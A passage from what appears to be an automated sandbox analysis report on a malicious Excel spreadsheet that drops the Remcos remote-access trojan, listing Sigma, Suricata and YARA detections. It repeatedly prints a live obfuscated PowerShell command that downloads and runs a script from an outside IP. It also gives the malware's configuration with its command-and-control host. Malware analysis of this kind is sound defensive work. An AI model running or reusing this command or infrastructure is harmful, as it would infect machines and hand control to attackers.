WkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3792, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.cmdline", ProcessId: 3920, ProcessName: csc.exe
                Sigma detected: Excel Network Connections
                Source: Network ConnectionAuthor: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 152.231.117.86, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 3328, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49163
                Sigma detected: Potential Binary Or Script Dropper Via PowerShell
                Source: File createdAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3792, TargetFilename: C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS
                Sigma detected: Suspicious Office Outbound Connections
                Source: Network ConnectionAuthor: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49163, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 3328, Protocol: tcp, SourceIp: 152.231.117.86, SourceIsIpv6: false, SourcePort: 443
                Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
                Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3792, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createdbestthignswihtentiretimegivenmebestfor.vbS" , ProcessId: 3096, ProcessName: wscript.exe
                Sigma detected: Dynamic CSharp Compile Artefact
                Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3792, TargetFilename: C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.cmdline
                Sigma detected: Modification of IE Registry Settings
                Source: Registry Key setAuthor: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 3328, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings
                Sigma detected: Non Interactive PowerShell Process Spawned
                Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))", CommandLine: pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgI
                Sigma detected: PowerShell Script Dropped Via PowerShell.EXE
                Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3792, TargetFilename: C:\Users\user\AppData\Local\Temp\4cnsq1do.zke.ps1

                Data Obfuscation

                barindex
                Sigma detected: Dot net compiler compiles file from suspicious location
                Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3792, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.cmdline", ProcessId: 3920, ProcessName: csc.exe

                Stealing of Sensitive Information

                barindex
                Sigma detected: Remcos
                Source: Registry Key setAuthor: Joe Security: Data: Details: 84 81 F9 AD D9 23 31 80 2E 5D 7F 2F 34 5B 95 9D 9F 53 AA 60 66 3A 1F 48 74 4F FE 95 09 31 B6 6A 40 43 78 E7 6E 6E 11 79 E3 3C 87 E8 A0 A7 69 9F 88 97 23 50 27 25 2E B2 60 89 BC 85 F6 60 65 94 95 03 B2 FB D9 65 4B 57 CA AF FF 44 CB 68 A4 5E CD 78 F1 CF 17 81 FC 43 38 3D 05 F4 68 BA 1C F2 58 DC C5 17 A6 31 4F 44 6F 6B F0 4F ED 4B 09 73 F3 AD , EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe, ProcessId: 3536, TargetObject: HKEY_CURRENT_USER\Software\Rmc-8FCP5S\exepath

                Suricata Signatures

                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-11-28T11:01:25.724070+010020241971A Network Trojan was detected172.232.175.16680192.168.2.2249164TCP
                2024-11-28T11:01:31.908611+010020241971A Network Trojan was detected172.232.175.16680192.168.2.2249166TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-11-28T11:01:25.724030+010020244491Attempted User Privilege Gain192.168.2.2249164172.232.175.16680TCP
                2024-11-28T11:01:31.908595+010020244491Attempted User Privilege Gain192.168.2.2249166172.232.175.16680TCP
                2024-11-28T11:01:51.116320+010020244491Attempted User Privilege Gain192.168.2.2249172172.232.175.16680TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-11-28T11:02:15.089204+010020204251Exploit Kit Activity Detected172.232.175.16680192.168.2.2249175TCP
                2024-11-28T11:02:22.054467+010020204251Exploit Kit Activity Detected172.232.175.16680192.168.2.2249178TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-11-28T11:02:15.089204+010020204241Exploit Kit Activity Detected172.232.175.16680192.168.2.2249175TCP
                2024-11-28T11:02:22.054467+010020204241Exploit Kit Activity Detected172.232.175.16680192.168.2.2249178TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-11-28T11:02:19.196385+010020365941Malware Command and Control Activity Detected192.168.2.224917631.13.224.722431TCP
                2024-11-28T11:02:21.687476+010020365941Malware Command and Control Activity Detected192.168.2.224917731.13.224.722431TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-11-28T11:01:21.845871+010020576351A Network Trojan was detected172.232.175.16680192.168.2.2249175TCP
                2024-11-28T11:01:21.845871+010020576351A Network Trojan was detected172.232.175.16680192.168.2.2249178TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-11-28T11:02:01.767565+010020490381A Network Trojan was detected193.30.119.112443192.168.2.2249173TCP
                2024-11-28T11:02:07.461544+010020490381A Network Trojan was detected193.30.119.112443192.168.2.2249174TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-11-28T11:02:22.517273+010028033043Unknown Traffic192.168.2.2249179178.237.33.5080TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-11-28T11:01:21.845871+010028582951A Network Trojan was detected172.232.175.16680192.168.2.2249175TCP
                2024-11-28T11:01:21.845871+010028582951A Network Trojan was detected172.232.175.16680192.168.2.2249178TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-11-28T11:01:46.961494+010028587951A Network Trojan was detected192.168.2.2249168172.232.175.16680TCP

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Antivirus detection for URL or domain
                Source: newbeggin.duckdns.orgAvira URL Cloud: Label: malware
                Found malware configuration
                Source: 0000001D.00000002.553244354.00000000004C5000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: Remcos {"Host:Port:Password": ["newbeggin.duckdns.org:2431:1"], "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-8FCP5S", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}
                Multi AV Scanner detection for submitted file
                Source: Sipari#U015f_listesi.xlsReversingLabs: Detection: 15%
                Yara detected Remcos RAT
                Source: Yara matchFile source: 29.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 29.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000001D.00000002.553244354.00000000004C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 3688, type: MEMORYSTR
                Machine Learning detection for sample
                Source: Sipari#U015f_listesi.xlsJoe Sandbox ML: detected
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0043293A CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,29_2_0043293A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00404423 GetProcAddress,FreeLibrary,CryptUnprotectData,30_2_00404423
                Source: CasPol.exeBinary or memory string: -----BEGIN PUBLIC KEY-----

                Exploits

                barindex
                Yara detected UAC Bypass using CMSTP
                Source: Yara matchFile source: 29.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 29.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 3688, type: MEMORYSTR

                Privilege Escalation

                barindex
                Contains functionality to bypass UAC (CMSTPLUA)
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00406764 _wcslen,CoGetObject,29_2_00406764

                Phishing

                barindex
                Yara detected HtmlPhish44
                Source: Yara matchFile source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\createdgoodthingsfor[1].hta, type: DROPPED
                Source: unknownHTTPS traffic detected: 193.30.119.112:443 -> 192.168.2.22:49173 version: TLS 1.0
                Source: unknownHTTPS traffic detected: 193.30.119.112:443 -> 192.168.2.22:49174 version: TLS 1.0
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
                Source: unknownHTTPS traffic detected: 152.231.117.86:443 -> 192.168.2.22:49163 version: TLS 1.2
                Source: unknownHTTPS traffic detected: 152.231.117.86:443 -> 192.168.2.22:49165 version: TLS 1.2
                Source: unknownHTTPS traffic detected: 152.231.117.86:443 -> 192.168.2.22:49171 version: TLS 1.2
                Source: unknownHTTPS traffic detected: 152.231.117.86:443 -> 192.168.2.22:49170 version: TLS 1.2
                Source: Binary string: 7C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.pdb source: powershell.exe, 00000008.00000002.483727608.0000000002504000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: .pdbr source: powershell.exe, 00000012.00000002.509006435.000000001AC6A000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: 7C:\Users\user\AppData\Local\Temp\oerqobky\oerqobky.pdb source: powershell.exe, 00000012.00000002.502572880.00000000028E8000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: .pdb!L source: powershell.exe, 00000008.00000002.487989896.000000001C323000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: 7C:\Users\user\AppData\Local\Temp\oerqobky\oerqobky.pdbhP source: powershell.exe, 00000012.00000002.502572880.00000000028E8000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: 7C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.pdbhP source: powershell.exe, 00000008.00000002.483727608.0000000002504000.00000004.00000800.00020000.00000000.sdmp
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0040B335 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,29_2_0040B335
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0041B42F FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,29_2_0041B42F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0040B53A FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,29_2_0040B53A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0044D5E9 FindFirstFileExA,29_2_0044D5E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_004089A9 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,__CxxThrowException@8,29_2_004089A9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00406AC2 FindFirstFileW,FindNextFileW,29_2_00406AC2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00407A8C __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,29_2_00407A8C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00418C69 FindFirstFileW,FindNextFileW,FindNextFileW,29_2_00418C69
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00408DA7 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,29_2_00408DA7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0040AE51 FindFirstFileW,FindNextFileW,30_2_0040AE51
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,31_2_00407EF8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,32_2_00407898
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00406F06 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,29_2_00406F06
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Caches\
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\

                Software Vulnerabilities

                barindex
                Document exploit detected (process start blacklist hit)
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\mshta.exe
                Suspicious execution chain found
                Source: C:\Windows\System32\wscript.exeChild: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                Source: global trafficDNS query: name: ljg.cl
                Source: global trafficDNS query: name: ljg.cl
                Source: global trafficDNS query: name: ljg.cl
                Source: global trafficDNS query: name: ljg.cl
                Source: global trafficDNS query: name: ljg.cl
                Source: global trafficDNS query: name: ljg.cl
                Source: global trafficDNS query: name: ljg.cl
                Source: global trafficDNS query: name: ljg.cl
                Source: global trafficDNS query: name: ljg.cl
                Source: global trafficDNS query: name: 3012.filemail.com
                Source: global trafficDNS query: name: 3012.filemail.com
                Source: global trafficDNS query: name: 3012.filemail.com
                Source: global trafficDNS query: name: 3012.filemail.com
                Source: global trafficDNS query: name: newbeggin.duckdns.org
                Source: global trafficDNS query: name: geoplugin.net
                Source: global trafficDNS query: name: geoplugin.net
                Source: global trafficDNS query: name: geoplugin.net
                Source: global trafficDNS query: name: geoplugin.net
                Source: global trafficTCP traffic: 192.168.2.22:49163 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 192.168.2.22:49165 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 192.168.2.22:49167 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 192.168.2.22:49171 -> 152.231.117.86:443
                Source: global trafficTCP traffic: 192.168.2.22:49173 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49174 -> 193.30.119.112:443
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.232.175.166:80
